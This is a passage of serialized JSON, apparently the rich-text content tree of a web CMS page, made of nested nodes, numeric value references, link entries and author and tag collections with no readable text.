marks":44990,"value":31134,"nodeType":865},{},[],{"data":44992,"content":44993,"nodeType":1869},{},[44994,45004],{"data":44995,"content":44996,"nodeType":1835},{},[44997],{"data":44998,"content":44999,"nodeType":866},{},[45000],{"data":45001,"marks":45002,"value":30074,"nodeType":865},{},[45003],{"type":961},{"data":45005,"content":45006,"nodeType":1835},{},[45007,45013],{"data":45008,"content":45009,"nodeType":866},{},[45010],{"data":45011,"marks":45012,"value":31157,"nodeType":865},{},[],{"data":45014,"content":45015,"nodeType":866},{},[45016],{"data":45017,"marks":45018,"value":31164,"nodeType":865},{},[],{"data":45020,"content":45021,"nodeType":1869},{},[45022,45032],{"data":45023,"content":45024,"nodeType":1835},{},[45025],{"data":45026,"content":45027,"nodeType":866},{},[45028],{"data":45029,"marks":45030,"value":30126,"nodeType":865},{},[45031],{"type":961},{"data":45033,"content":45034,"nodeType":1835},{},[45035],{"data":45036,"content":45037,"nodeType":866},{},[45038],{"data":45039,"marks":45040,"value":31187,"nodeType":865},{},[],{"data":45042,"content":45043,"nodeType":1869},{},[45044,45054],{"data":45045,"content":45046,"nodeType":1835},{},[45047],{"data":45048,"content":45049,"nodeType":866},{},[45050],{"data":45051,"marks":45052,"value":30349,"nodeType":865},{},[45053],{"type":961},{"data":45055,"content":45056,"nodeType":1835},{},[45057],{"data":45058,"content":45059,"nodeType":866},{},[45060],{"data":45061,"marks":45062,"value":31210,"nodeType":865},{},[],{"data":45064,"content":45067,"nodeType":925},{"target":45065},{"sys":45066},{"id":31215,"type":922,"linkType":923},[],{"data":45069,"content":45070,"nodeType":953},{},[],{"data":45072,"content":45073,"nodeType":1458},{},[45074],{"data":45075,"marks":45076,"value":31227,"nodeType":865},{},[45077],{"type":961},{"data":45079,"content":45080,"nodeType":2396},{},[45081,45103,45125,45147],{"data":45082,"content":45083,"nodeType":1869},{},[45084,45094],{"data":45085,"content":45086,"nodeType":1835},{},[45087],{"data":45088,"content":45089,"nodeType":866},{},[45090],{"data":45091,"marks":45092,"value":29967,"nodeType":865},{},[45093],{"type":961},{"data":45095,"content":45096,"nodeType":1835},{},[45097],{"data":45098,"content":45099,"nodeType":866},{},[45100],{"data":45101,"marks":45102,"value":31253,"nodeType":865},{},[],{"data":45104,"content":45105,"nodeType":1869},{},[45106,45116],{"data":45107,"content":45108,"nodeType":1835},{},[45109],{"data":45110,"content":45111,"nodeType":866},{},[45112],{"data":45113,"marks":45114,"value":30074,"nodeType":865},{},[45115],{"type":961},{"data":45117,"content":45118,"nodeType":1835},{},[45119],{"data":45120,"content":45121,"nodeType":866},{},[45122],{"data":45123,"marks":45124,"value":31276,"nodeType":865},{},[],{"data":45126,"content":45127,"nodeType":1869},{},[45128,45138],{"data":45129,"content":45130,"nodeType":1835},{},[45131],{"data":45132,"content":45133,"nodeType":866},{},[45134],{"data":45135,"marks":45136,"value":30126,"nodeType":865},{},[45137],{"type":961},{"data":45139,"content":45140,"nodeType":1835},{},[45141],{"data":45142,"content":45143,"nodeType":866},{},[45144],{"data":45145,"marks":45146,"value":31299,"nodeType":865},{},[],{"data":45148,"content":45149,"nodeType":1869},{},[45150,45160],{"data":45151,"content":45152,"nodeType":1835},{},[45153],{"data":45154,"content":45155,"nodeType":866},{},[45156],{"data":45157,"marks":45158,"value":30349,"nodeType":865},{},[45159],{"type":961},{"data":45161,"content":45162,"nodeType":1835},{},[45163],{"data":45164,"content":45165,"nodeType":866},{},[45166],{"data":45167,"marks":45168,"value":31322,"nodeType":865},{},[],{"data":45170,"content":45173,"nodeType":925},{"target":45171},{"sys":45172},{"id":31327,"type":922,"linkType":923},[],{"data":45175,"content":45176,"nodeType":953},{},[],{"data":45178,"content":45179,"nodeType":1458},{},[45180],{"data":45181,"marks":45182,"value":31339,"nodeType":865},{},[45183],{"type":961},{"data":45185,"content":45186,"nodeType":2396},{},[45187,45209,45231,45253],{"data":45188,"content":45189,"nodeType":1869},{},[45190,45200],{"data":45191,"content":45192,"nodeType":1835},{},[45193],{"data":45194,"content":45195,"nodeType":866},{},[45196],{"data":45197,"marks":45198,"value":29967,"nodeType":865},{},[45199],{"type":961},{"data":45201,"content":45202,"nodeType":1835},{},[45203],{"data":45204,"content":45205,"nodeType":866},{},[45206],{"data":45207,"marks":45208,"value":30250,"nodeType":865},{},[],{"data":45210,"content":45211,"nodeType":1869},{},[45212,45222],{"data":45213,"content":45214,"nodeType":1835},{},[45215],{"data":45216,"content":45217,"nodeType":866},{},[45218],{"data":45219,"marks":45220,"value":30074,"nodeType":865},{},[45221],{"type":961},{"data":45223,"content":45224,"nodeType":1835},{},[45225],{"data":45226,"content":45227,"nodeType":866},{},[45228],{"data":45229,"marks":45230,"value":31387,"nodeType":865},{},[],{"data":45232,"content":45233,"nodeType":1869},{},[45234,45244],{"data":45235,"content":45236,"nodeType":1835},{},[45237],{"data":45238,"content":45239,"nodeType":866},{},[45240],{"data":45241,"marks":45242,"value":30126,"nodeType":865},{},[45243],{"type":961},{"data":45245,"content":45246,"nodeType":1835},{},[45247],{"data":45248,"content":45249,"nodeType":866},{},[45250],{"data":45251,"marks":45252,"value":31410,"nodeType":865},{},[],{"data":45254,"content":45255,"nodeType":1869},{},[45256,45266],{"data":45257,"content":45258,"nodeType":1835},{},[45259],{"data":45260,"content":45261,"nodeType":866},{},[45262],{"data":45263,"marks":45264,"value":30349,"nodeType":865},{},[45265],{"type":961},{"data":45267,"content":45268,"nodeType":1835},{},[45269],{"data":45270,"content":45271,"nodeType":866},{},[45272],{"data":45273,"marks":45274,"value":31433,"nodeType":865},{},[],{"data":45276,"content":45279,"nodeType":925},{"target":45277},{"sys":45278},{"id":31438,"type":922,"linkType":923},[],{"data":45281,"content":45282,"nodeType":953},{},[],{"data":45284,"content":45285,"nodeType":1458},{},[45286],{"data":45287,"marks":45288,"value":31450,"nodeType":865},{},[45289],{"type":961},{"data":45291,"content":45294,"nodeType":925},{"target":45292},{"sys":45293},{"id":31455,"type":922,"linkType":923},[],{"data":45296,"content":45297,"nodeType":2396},{},[45298,45320,45356,45378,45400],{"data":45299,"content":45300,"nodeType":1869},{},[45301,45311],{"data":45302,"content":45303,"nodeType":1835},{},[45304],{"data":45305,"content":45306,"nodeType":866},{},[45307],{"data":45308,"marks":45309,"value":29967,"nodeType":865},{},[45310],{"type":961},{"data":45312,"content":45313,"nodeType":1835},{},[45314],{"data":45315,"content":45316,"nodeType":866},{},[45317],{"data":45318,"marks":45319,"value":31482,"nodeType":865},{},[],{"data":45321,"content":45322,"nodeType":1869},{},[45323,45333],{"data":45324,"content":45325,"nodeType":1835},{},[45326],{"data":45327,"content":45328,"nodeType":866},{},[45329],{"data":45330,"marks":45331,"value":29991,"nodeType":865},{},[45332],{"type":961},{"data":45334,"content":45335,"nodeType":1835},{},[45336,45346],{"data":45337,"content":45338,"nodeType":866},{},[45339,45343],{"data":45340,"marks":45341,"value":30466,"nodeType":865},{},[45342],{"type":961},{"data":45344,"marks":45345,"value":31509,"nodeType":865},{},[],{"data":45347,"content":45348,"nodeType":866},{},[45349,45353],{"data":45350,"marks":45351,"value":30032,"nodeType":865},{},[45352],{"type":961},{"data":45354,"marks":45355,"value":31520,"nodeType":865},{},[],{"data":45357,"content":45358,"nodeType":1869},{},[45359,45369],{"data":45360,"content":45361,"nodeType":1835},{},[45362],{"data":45363,"content":45364,"nodeType":866},{},[45365],{"data":45366,"marks":45367,"value":30074,"nodeType":865},{},[45368],{"type":961},{"data":45370,"content":45371,"nodeType":1835},{},[45372],{"data":45373,"content":45374,"nodeType":866},{},[45375],{"data":45376,"marks":45377,"value":31543,"nodeType":865},{},[],{"data":45379,"content":45380,"nodeType":1869},{},[45381,45391],{"data":45382,"content":45383,"nodeType":1835},{},[45384],{"data":45385,"content":45386,"nodeType":866},{},[45387],{"data":45388,"marks":45389,"value":30126,"nodeType":865},{},[45390],{"type":961},{"data":45392,"content":45393,"nodeType":1835},{},[45394],{"data":45395,"content":45396,"nodeType":866},{},[45397],{"data":45398,"marks":45399,"value":31566,"nodeType":865},{},[],{"data":45401,"content":45402,"nodeType":1869},{},[45403,45413],{"data":45404,"content":45405,"nodeType":1835},{},[45406],{"data":45407,"content":45408,"nodeType":866},{},[45409],{"data":45410,"marks":45411,"value":30349,"nodeType":865},{},[45412],{"type":961},{"data":45414,"content":45415,"nodeType":1835},{},[45416],{"data":45417,"content":45418,"nodeType":866},{},[45419],{"data":45420,"marks":45421,"value":31589,"nodeType":865},{},[],{"data":45423,"content":45426,"nodeType":925},{"target":45424},{"sys":45425},{"id":31594,"type":922,"linkType":923},[],{"data":45428,"content":45429,"nodeType":953},{},[],{"data":45431,"content":45432,"nodeType":1458},{},[45433],{"data":45434,"marks":45435,"value":31606,"nodeType":865},{},[45436],{"type":961},{"data":45438,"content":45439,"nodeType":2396},{},[45440,45462],{"data":45441,"content":45442,"nodeType":1869},{},[45443,45453],{"data":45444,"content":45445,"nodeType":1835},{},[45446],{"data":45447,"content":45448,"nodeType":866},{},[45449],{"data":45450,"marks":45451,"value":30074,"nodeType":865},{},[45452],{"type":961},{"data":45454,"content":45455,"nodeType":1835},{},[45456],{"data":45457,"content":45458,"nodeType":866},{},[45459],{"data":45460,"marks":45461,"value":31632,"nodeType":865},{},[],{"data":45463,"content":45464,"nodeType":1869},{},[45465,45475],{"data":45466,"content":45467,"nodeType":1835},{},[45468],{"data":45469,"content":45470,"nodeType":866},{},[45471],{"data":45472,"marks":45473,"value":30126,"nodeType":865},{},[45474],{"type":961},{"data":45476,"content":45477,"nodeType":1835},{},[45478],{"data":45479,"content":45480,"nodeType":866},{},[45481],{"data":45482,"marks":45483,"value":31655,"nodeType":865},{},[],{"data":45485,"content":45488,"nodeType":925},{"target":45486},{"sys":45487},{"id":31660,"type":922,"linkType":923},[],{"data":45490,"content":45491,"nodeType":953},{},[],{"data":45493,"content":45494,"nodeType":1458},{},[45495],{"data":45496,"marks":45497,"value":31672,"nodeType":865},{},[45498],{"type":961},{"data":45500,"content":45501,"nodeType":2396},{},[45502,45530,45566,45588,45610],{"data":45503,"content":45504,"nodeType":1869},{},[45505,45515],{"data":45506,"content":45507,"nodeType":1835},{},[45508],{"data":45509,"content":45510,"nodeType":866},{},[45511],{"data":45512,"marks":45513,"value":29967,"nodeType":865},{},[45514],{"type":961},{"data":45516,"content":45517,"nodeType":1835},{},[45518,45524],{"data":45519,"content":45520,"nodeType":866},{},[45521],{"data":45522,"marks":45523,"value":31698,"nodeType":865},{},[],{"data":45525,"content":45526,"nodeType":866},{},[45527],{"data":45528,"marks":45529,"value":31705,"nodeType":865},{},[],{"data":45531,"content":45532,"nodeType":1869},{},[45533,45543],{"data":45534,"content":45535,"nodeType":1835},{},[45536],{"data":45537,"content":45538,"nodeType":866},{},[45539],{"data":45540,"marks":45541,"value":29991,"nodeType":865},{},[45542],{"type":961},{"data":45544,"content":45545,"nodeType":1835},{},[45546,45556],{"data":45547,"content":45548,"nodeType":866},{},[45549,45553],{"data":45550,"marks":45551,"value":30466,"nodeType":865},{},[45552],{"type":961},{"data":45554,"marks":45555,"value":31732,"nodeType":865},{},[],{"data":45557,"content":45558,"nodeType":866},{},[45559,45563],{"data":45560,"marks":45561,"value":30032,"nodeType":865},{},[45562],{"type":961},{"data":45564,"marks":45565,"value":30289,"nodeType":865},{},[],{"data":45567,"content":45568,"nodeType":1869},{},[45569,45579],{"data":45570,"content":45571,"nodeType":1835},{},[45572],{"data":45573,"content":45574,"nodeType":866},{},[45575],{"data":45576,"marks":45577,"value":30074,"nodeType":865},{},[45578],{"type":961},{"data":45580,"content":45581,"nodeType":1835},{},[45582],{"data":45583,"content":45584,"nodeType":866},{},[45585],{"data":45586,"marks":45587,"value":31765,"nodeType":865},{},[],{"data":45589,"content":45590,"nodeType":1869},{},[45591,45601],{"data":45592,"content":45593,"nodeType":1835},{},[45594],{"data":45595,"content":45596,"nodeType":866},{},[45597],{"data":45598,"marks":45599,"value":30126,"nodeType":865},{},[45600],{"type":961},{"data":45602,"content":45603,"nodeType":1835},{},[45604],{"data":45605,"content":45606,"nodeType":866},{},[45607],{"data":45608,"marks":45609,"value":31788,"nodeType":865},{},[],{"data":45611,"content":45612,"nodeType":1869},{},[45613,45623],{"data":45614,"content":45615,"nodeType":1835},{},[45616],{"data":45617,"content":45618,"nodeType":866},{},[45619],{"data":45620,"marks":45621,"value":30349,"nodeType":865},{},[45622],{"type":961},{"data":45624,"content":45625,"nodeType":1835},{},[45626],{"data":45627,"content":45628,"nodeType":866},{},[45629],{"data":45630,"marks":45631,"value":31811,"nodeType":865},{},[],{"data":45633,"content":45636,"nodeType":925},{"target":45634},{"sys":45635},{"id":10964,"type":922,"linkType":923},[],{"data":45638,"content":45639,"nodeType":953},{},[],{"data":45641,"content":45642,"nodeType":1458},{},[45643],{"data":45644,"marks":45645,"value":31827,"nodeType":865},{},[45646],{"type":961},{"data":45648,"content":45649,"nodeType":2396},{},[45650,45672,45708,45730,45752],{"data":45651,"content":45652,"nodeType":1869},{},[45653,45663],{"data":45654,"content":45655,"nodeType":1835},{},[45656],{"data":45657,"content":45658,"nodeType":866},{},[45659],{"data":45660,"marks":45661,"value":29967,"nodeType":865},{},[45662],{"type":961},{"data":45664,"content":45665,"nodeType":1835},{},[45666],{"data":45667,"content":45668,"nodeType":866},{},[45669],{"data":45670,"marks":45671,"value":31853,"nodeType":865},{},[],{"data":45673,"content":45674,"nodeType":1869},{},[45675,45685],{"data":45676,"content":45677,"nodeType":1835},{},[45678],{"data":45679,"content":45680,"nodeType":866},{},[45681],{"data":45682,"marks":45683,"value":29991,"nodeType":865},{},[45684],{"type":961},{"data":45686,"content":45687,"nodeType":1835},{},[45688,45698],{"data":45689,"content":45690,"nodeType":866},{},[45691,45695],{"data":45692,"marks":45693,"value":30466,"nodeType":865},{},[45694],{"type":961},{"data":45696,"marks":45697,"value":31880,"nodeType":865},{},[],{"data":45699,"content":45700,"nodeType":866},{},[45701,45705],{"data":45702,"marks":45703,"value":30032,"nodeType":865},{},[45704],{"type":961},{"data":45706,"marks":45707,"value":31891,"nodeType":865},{},[],{"data":45709,"content":45710,"nodeType":1869},{},[45711,45721],{"data":45712,"content":45713,"nodeType":1835},{},[45714],{"data":45715,"content":45716,"nodeType":866},{},[45717],{"data":45718,"marks":45719,"value":30074,"nodeType":865},{},[45720],{"type":961},{"data":45722,"content":45723,"nodeType":1835},{},[45724],{"data":45725,"content":45726,"nodeType":866},{},[45727],{"data":45728,"marks":45729,"value":31765,"nodeType":865},{},[],{"data":45731,"content":45732,"nodeType":1869},{},[45733,45743],{"data":45734,"content":45735,"nodeType":1835},{},[45736],{"data":45737,"content":45738,"nodeType":866},{},[45739],{"data":45740,"marks":45741,"value":30126,"nodeType":865},{},[45742],{"type":961},{"data":45744,"content":45745,"nodeType":1835},{},[45746],{"data":45747,"content":45748,"nodeType":866},{},[45749],{"data":45750,"marks":45751,"value":31936,"nodeType":865},{},[],{"data":45753,"content":45754,"nodeType":1869},{},[45755,45765],{"data":45756,"content":45757,"nodeType":1835},{},[45758],{"data":45759,"content":45760,"nodeType":866},{},[45761],{"data":45762,"marks":45763,"value":30349,"nodeType":865},{},[45764],{"type":961},{"data":45766,"content":45767,"nodeType":1835},{},[45768],{"data":45769,"content":45770,"nodeType":866},{},[45771],{"data":45772,"marks":45773,"value":31959,"nodeType":865},{},[],{"data":45775,"content":45778,"nodeType":925},{"target":45776},{"sys":45777},{"id":31964,"type":922,"linkType":923},[],{"data":45780,"content":45781,"nodeType":953},{},[],{"data":45783,"content":45784,"nodeType":963},{},[45785],{"data":45786,"marks":45787,"value":31976,"nodeType":865},{},[45788],{"type":961},{"data":45790,"content":45791,"nodeType":866},{},[45792,45795],{"data":45793,"marks":45794,"value":31983,"nodeType":865},{},[],{"data":45796,"marks":45797,"value":31988,"nodeType":865},{},[45798],{"type":961},{"data":45800,"content":45801,"nodeType":866},{},[45802],{"data":45803,"marks":45804,"value":31995,"nodeType":865},{},[],{"data":45806,"content":45809,"nodeType":925},{"target":45807},{"sys":45808},{"id":32000,"type":922,"linkType":923},[],{"data":45811,"content":45814,"nodeType":925},{"target":45812},{"sys":45813},{"id":32006,"type":922,"linkType":923},[],{"data":45816,"content":45817,"nodeType":866},{},[45818],{"data":45819,"marks":45820,"value":32014,"nodeType":865},{},[],{"data":45822,"content":45823,"nodeType":866},{},[45824,45827,45831,45834],{"data":45825,"marks":45826,"value":32021,"nodeType":865},{},[],{"data":45828,"marks":45829,"value":32026,"nodeType":865},{},[45830],{"type":961},{"data":45832,"marks":45833,"value":32030,"nodeType":865},{},[],{"data":45835,"marks":45836,"value":32035,"nodeType":865},{},[45837],{"type":961},{"data":45839,"content":45840,"nodeType":866},{},[45841,45844,45848],{"data":45842,"marks":45843,"value":32042,"nodeType":865},{},[],{"data":45845,"marks":45846,"value":32047,"nodeType":865},{},[45847],{"type":961},{"data":45849,"marks":45850,"value":32051,"nodeType":865},{},[],{"data":45852,"content":45855,"nodeType":925},{"target":45853},{"sys":45854},{"id":32056,"type":922,"linkType":923},[],{"data":45857,"content":45858,"nodeType":953},{},[],{"data":45860,"content":45861,"nodeType":963},{},[45862],{"data":45863,"marks":45864,"value":32068,"nodeType":865},{},[45865],{"type":961},{"data":45867,"content":45868,"nodeType":1458},{},[45869],{"data":45870,"marks":45871,"value":32076,"nodeType":865},{},[45872],{"type":961},{"data":45874,"content":45875,"nodeType":866},{},[45876,45879,45883,45886],{"data":45877,"marks":45878,"value":32083,"nodeType":865},{},[],{"data":45880,"marks":45881,"value":32088,"nodeType":865},{},[45882],{"type":961},{"data":45884,"marks":45885,"value":32092,"nodeType":865},{},[],{"data":45887,"marks":45888,"value":32097,"nodeType":865},{},[45889],{"type":961},{"data":45891,"content":45892,"nodeType":866},{},[45893,45897,45900,45904],{"data":45894,"marks":45895,"value":32105,"nodeType":865},{},[45896],{"type":961},{"data":45898,"marks":45899,"value":32109,"nodeType":865},{},[],{"data":45901,"marks":45902,"value":32114,"nodeType":865},{},[45903],{"type":961},{"data":45905,"marks":45906,"value":32118,"nodeType":865},{},[],{"data":45908,"content":45911,"nodeType":925},{"target":45909},{"sys":45910},{"id":31052,"type":922,"linkType":923},[],{"data":45913,"content":45914,"nodeType":866},{},[45915],{"data":45916,"marks":45917,"value":32130,"nodeType":865},{},[],{"data":45919,"content":45920,"nodeType":866},{},[45921],{"data":45922,"marks":45923,"value":32137,"nodeType":865},{},[],{"data":45925,"content":45926,"nodeType":1458},{},[45927],{"data":45928,"marks":45929,"value":32145,"nodeType":865},{},[45930],{"type":961},{"data":45932,"content":45933,"nodeType":866},{},[45934],{"data":45935,"marks":45936,"value":32152,"nodeType":865},{},[],{"data":45938,"content":45939,"nodeType":866},{},[45940],{"data":45941,"marks":45942,"value":32159,"nodeType":865},{},[],{"data":45944,"content":45945,"nodeType":866},{},[45946],{"data":45947,"marks":45948,"value":32166,"nodeType":865},{},[],{"data":45950,"content":45951,"nodeType":1458},{},[45952],{"data":45953,"marks":45954,"value":32174,"nodeType":865},{},[45955],{"type":961},{"data":45957,"content":45958,"nodeType":866},{},[45959],{"data":45960,"marks":45961,"value":32181,"nodeType":865},{},[],{"data":45963,"content":45964,"nodeType":1049},{},[45965,45978,45991],{"data":45966,"content":45967,"nodeType":1003},{},[45968],{"data":45969,"content":45970,"nodeType":866},{},[45971,45975],{"data":45972,"marks":45973,"value":32195,"nodeType":865},{},[45974],{"type":961},{"data":45976,"marks":45977,"value":32199,"nodeType":865},{},[],{"data":45979,"content":45980,"nodeType":1003},{},[45981],{"data":45982,"content":45983,"nodeType":866},{},[45984,45988],{"data":45985,"marks":45986,"value":29673,"nodeType":865},{},[45987],{"type":961},{"data":45989,"marks":45990,"value":32213,"nodeType":865},{},[],{"data":45992,"content":45993,"nodeType":1003},{},[45994],{"data":45995,"content":45996,"nodeType":866},{},[45997,46000,46004],{"data":45998,"marks":45999,"value":32223,"nodeType":865},{},[],{"data":46001,"marks":46002,"value":19618,"nodeType":865},{},[46003],{"type":961},{"data":46005,"marks":46006,"value":32231,"nodeType":865},{},[],{"data":46008,"content":46011,"nodeType":925},{"target":46009},{"sys":46010},{"id":32236,"type":922,"linkType":923},[],{"data":46013,"content":46014,"nodeType":953},{},[],{"data":46016,"content":46017,"nodeType":963},{},[46018],{"data":46019,"marks":46020,"value":32248,"nodeType":865},{},[46021],{"type":961},{"data":46023,"content":46024,"nodeType":866},{},[46025],{"data":46026,"marks":46027,"value":32255,"nodeType":865},{},[],{"data":46029,"content":46030,"nodeType":866},{},[46031],{"data":46032,"marks":46033,"value":32262,"nodeType":865},{},[],{"data":46035,"content":46036,"nodeType":866},{},[46037,46040,46047,46050,46054,46057,46061,46064,46068],{"data":46038,"marks":46039,"value":32269,"nodeType":865},{},[],{"data":46041,"content":46042,"nodeType":882},{"uri":32272},[46043],{"data":46044,"marks":46045,"value":32278,"nodeType":865},{},[46046],{"type":997},{"data":46048,"marks":46049,"value":32282,"nodeType":865},{},[],{"data":46051,"marks":46052,"value":32287,"nodeType":865},{},[46053],{"type":961},{"data":46055,"marks":46056,"value":32291,"nodeType":865},{},[],{"data":46058,"marks":46059,"value":32296,"nodeType":865},{},[46060],{"type":961},{"data":46062,"marks":46063,"value":32300,"nodeType":865},{},[],{"data":46065,"marks":46066,"value":32305,"nodeType":865},{},[46067],{"type":961},{"data":46069,"marks":46070,"value":32309,"nodeType":865},{},[],{"data":46072,"content":46075,"nodeType":925},{"target":46073},{"sys":46074},{"id":32314,"type":922,"linkType":923},[],{"data":46077,"content":46078,"nodeType":866},{},[46079],{"data":46080,"marks":46081,"value":32322,"nodeType":865},{},[],{"data":46083,"content":46084,"nodeType":953},{},[],{"data":46086,"content":46087,"nodeType":963},{},[46088],{"data":46089,"marks":46090,"value":32333,"nodeType":865},{},[46091],{"type":961},{"data":46093,"content":46094,"nodeType":866},{},[46095],{"data":46096,"marks":46097,"value":32340,"nodeType":865},{},[],{"data":46099,"content":46100,"nodeType":866},{},[46101],{"data":46102,"marks":46103,"value":32347,"nodeType":865},{},[],{"data":46105,"content":46106,"nodeType":866},{},[46107,46110,46117],{"data":46108,"marks":46109,"value":32354,"nodeType":865},{},[],{"data":46111,"content":46112,"nodeType":882},{"uri":32357},[46113],{"data":46114,"marks":46115,"value":32363,"nodeType":865},{},[46116],{"type":997},{"data":46118,"marks":46119,"value":32367,"nodeType":865},{},[],{"data":46121,"content":46124,"nodeType":925},{"target":46122},{"sys":46123},{"id":32372,"type":922,"linkType":923},[],{"data":46126,"content":46127,"nodeType":866},{},[46128],{"data":46129,"marks":46130,"value":32380,"nodeType":865},{},[],{"data":46132,"content":46133,"nodeType":1458},{},[46134],{"data":46135,"marks":46136,"value":1704,"nodeType":865},{},[46137],{"type":961},{"data":46139,"content":46140,"nodeType":866},{},[46141],{"data":46142,"marks":46143,"value":32394,"nodeType":865},{},[],{"data":46145,"content":46146,"nodeType":866},{},[46147,46150,46157,46160,46167,46170,46177],{"data":46148,"marks":46149,"value":32401,"nodeType":865},{},[],{"data":46151,"content":46152,"nodeType":882},{"uri":22700},[46153],{"data":46154,"marks":46155,"value":22706,"nodeType":865},{},[46156],{"type":997},{"data":46158,"marks":46159,"value":2186,"nodeType":865},{},[],{"data":46161,"content":46162,"nodeType":882},{"uri":22712},[46163],{"data":46164,"marks":46165,"value":32419,"nodeType":865},{},[46166],{"type":997},{"data":46168,"marks":46169,"value":22722,"nodeType":865},{},[],{"data":46171,"content":46172,"nodeType":882},{"uri":1728},[46173],{"data":46174,"marks":46175,"value":22730,"nodeType":865},{},[46176],{"type":997},{"data":46178,"marks":46179,"value":1048,"nodeType":865},{},[],{"items":46181},[46182,46184],{"sys":46183,"name":11426},{"id":11425},{"sys":46185,"name":342},{"id":8410},{"items":46187},[46188],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":46189},{"url":32449},{"__typename":1788,"sys":46191,"content":46192,"title":19778,"synopsis":19779,"hashTags":59,"publishedDate":19780,"slug":19781,"tagsCollection":46901,"authorsCollection":46907},{"id":15449},{"json":46193},{"data":46194,"content":46195,"nodeType":1739},{},[46196,46211,46226,46241,46246,46249,46256,46262,46268,46274,46280,46287,46290,46297,46303,46309,46315,46320,46327,46342,46348,46354,46367,46374,46398,46411,46417,46441,46448,46472,46478,46485,46500,46506,46512,46517,46523,46530,46545,46551,46567,46573,46576,46583,46589,46664,46670,46683,46686,46711,46726,46732,46738,46741,46748,46763,46769,46775,46790,46793,46800,46806,46836,46842,46857,46872,46877,46880,46886],{"data":46197,"content":46198,"nodeType":866},{},[46199,46202,46208],{"data":46200,"marks":46201,"value":18958,"nodeType":865},{},[],{"data":46203,"content":46204,"nodeType":882},{"uri":18961},[46205],{"data":46206,"marks":46207,"value":18966,"nodeType":865},{},[],{"data":46209,"marks":46210,"value":18970,"nodeType":865},{},[],{"data":46212,"content":46213,"nodeType":866},{},[46214,46217,46223],{"data":46215,"marks":46216,"value":18977,"nodeType":865},{},[],{"data":46218,"content":46219,"nodeType":882},{"uri":18980},[46220],{"data":46221,"marks":46222,"value":18985,"nodeType":865},{},[],{"data":46224,"marks":46225,"value":18989,"nodeType":865},{},[],{"data":46227,"content":46228,"nodeType":866},{},[46229,46232,46238],{"data":46230,"marks":46231,"value":18996,"nodeType":865},{},[],{"data":46233,"content":46234,"nodeType":882},{"uri":18999},[46235],{"data":46236,"marks":46237,"value":15454,"nodeType":865},{},[],{"data":46239,"marks":46240,"value":19007,"nodeType":865},{},[],{"data":46242,"content":46245,"nodeType":925},{"target":46243},{"sys":46244},{"id":19012,"type":922,"linkType":923},[],{"data":46247,"content":46248,"nodeType":953},{},[],{"data":46250,"content":46251,"nodeType":963},{},[46252],{"data":46253,"marks":46254,"value":19024,"nodeType":865},{},[46255],{"type":961},{"data":46257,"content":46258,"nodeType":866},{},[46259],{"data":46260,"marks":46261,"value":19031,"nodeType":865},{},[],{"data":46263,"content":46264,"nodeType":866},{},[46265],{"data":46266,"marks":46267,"value":19038,"nodeType":865},{},[],{"data":46269,"content":46270,"nodeType":866},{},[46271],{"data":46272,"marks":46273,"value":19045,"nodeType":865},{},[],{"data":46275,"content":46276,"nodeType":866},{},[46277],{"data":46278,"marks":46279,"value":19052,"nodeType":865},{},[],{"data":46281,"content":46282,"nodeType":866},{},[46283],{"data":46284,"marks":46285,"value":19060,"nodeType":865},{},[46286],{"type":961},{"data":46288,"content":46289,"nodeType":953},{},[],{"data":46291,"content":46292,"nodeType":963},{},[46293],{"data":46294,"marks":46295,"value":19071,"nodeType":865},{},[46296],{"type":961},{"data":46298,"content":46299,"nodeType":866},{},[46300],{"data":46301,"marks":46302,"value":19078,"nodeType":865},{},[],{"data":46304,"content":46305,"nodeType":866},{},[46306],{"data":46307,"marks":46308,"value":19085,"nodeType":865},{},[],{"data":46310,"content":46311,"nodeType":866},{},[46312],{"data":46313,"marks":46314,"value":19092,"nodeType":865},{},[],{"data":46316,"content":46319,"nodeType":925},{"target":46317},{"sys":46318},{"id":19097,"type":922,"linkType":923},[],{"data":46321,"content":46322,"nodeType":1458},{},[46323],{"data":46324,"marks":46325,"value":19106,"nodeType":865},{},[46326],{"type":961},{"data":46328,"content":46329,"nodeType":866},{},[46330,46333,46339],{"data":46331,"marks":46332,"value":19113,"nodeType":865},{},[],{"data":46334,"content":46335,"nodeType":882},{"uri":8581},[46336],{"data":46337,"marks":46338,"value":19120,"nodeType":865},{},[],{"data":46340,"marks":46341,"value":19124,"nodeType":865},{},[],{"data":46343,"content":46344,"nodeType":866},{},[46345],{"data":46346,"marks":46347,"value":19131,"nodeType":865},{},[],{"data":46349,"content":46350,"nodeType":866},{},[46351],{"data":46352,"marks":46353,"value":19138,"nodeType":865},{},[],{"data":46355,"content":46356,"nodeType":866},{},[46357,46360,46364],{"data":46358,"marks":46359,"value":19145,"nodeType":865},{},[],{"data":46361,"marks":46362,"value":19150,"nodeType":865},{},[46363],{"type":961},{"data":46365,"marks":46366,"value":19154,"nodeType":865},{},[],{"data":46368,"content":46369,"nodeType":1458},{},[46370],{"data":46371,"marks":46372,"value":19162,"nodeType":865},{},[46373],{"type":961},{"data":46375,"content":46376,"nodeType":866},{},[46377,46380,46386,46389,46395],{"data":46378,"marks":46379,"value":19169,"nodeType":865},{},[],{"data":46381,"content":46382,"nodeType":882},{"uri":10494},[46383],{"data":46384,"marks":46385,"value":19176,"nodeType":865},{},[],{"data":46387,"marks":46388,"value":19180,"nodeType":865},{},[],{"data":46390,"content":46391,"nodeType":882},{"uri":1362},[46392],{"data":46393,"marks":46394,"value":19187,"nodeType":865},{},[],{"data":46396,"marks":46397,"value":19191,"nodeType":865},{},[],{"data":46399,"content":46400,"nodeType":866},{},[46401,46404,46408],{"data":46402,"marks":46403,"value":19198,"nodeType":865},{},[],{"data":46405,"marks":46406,"value":19203,"nodeType":865},{},[46407],{"type":961},{"data":46409,"marks":46410,"value":19207,"nodeType":865},{},[],{"data":46412,"content":46413,"nodeType":866},{},[46414],{"data":46415,"marks":46416,"value":19214,"nodeType":865},{},[],{"data":46418,"content":46419,"nodeType":866},{},[46420,46423,46429,46432,46438],{"data":46421,"marks":46422,"value":19221,"nodeType":865},{},[],{"data":46424,"content":46425,"nodeType":882},{"uri":11342},[46426],{"data":46427,"marks":46428,"value":19228,"nodeType":865},{},[],{"data":46430,"marks":46431,"value":19232,"nodeType":865},{},[],{"data":46433,"content":46434,"nodeType":882},{"uri":11102},[46435],{"data":46436,"marks":46437,"value":11095,"nodeType":865},{},[],{"data":46439,"marks":46440,"value":19242,"nodeType":865},{},[],{"data":46442,"content":46443,"nodeType":1458},{},[46444],{"data":46445,"marks":46446,"value":19250,"nodeType":865},{},[46447],{"type":961},{"data":46449,"content":46450,"nodeType":866},{},[46451